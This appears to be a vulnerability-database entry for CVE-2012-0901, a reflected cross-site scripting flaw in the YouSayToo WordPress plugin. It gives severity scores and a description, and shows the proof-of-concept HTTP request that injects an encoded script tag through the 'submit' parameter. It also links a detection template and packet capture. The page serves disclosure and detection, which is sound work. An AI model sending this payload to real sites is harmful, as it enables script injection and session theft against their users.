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CVE-2012-0901: YouSayToo auto-publishing 1.0 - Cross-Site Scripting

TitleYouSayToo auto-publishing 1.0 - Cross-Site Scripting
Authordaffainfo
SeverityMedium
ImpactSuccessful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement.
RemediationUpgrade to the latest version to mitigate this vulnerability.
CVSS Score4.3
EPSS Score0.00693
CVE IDCVE-2012-0901
CWE IDCWE-79
Tags cve cve2012 wp-plugin packetstorm wordpress xss attenzione vuln

🔍 Vulnerability Description

A cross-site scripting vulnerability in yousaytoo.php in YouSayToo auto-publishing plugin 1.0 for WordPress allows remote attackers to inject arbitrary web script or HTML via the submit parameter.

🌐 HTTP Request

GET / HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 11_7_0) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
GET /wp-content/plugins/yousaytoo-auto-publishing-plugin/yousaytoo.php?submit=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; es-es) AppleWebKit/533.21.1 (KHTML, like Gecko) Version/5.0.5 Safari/533.21.1
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2012/CVE-2012-0901.yaml

🦈 Packet Capture: ⬇️ Download cve-2012-0901.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A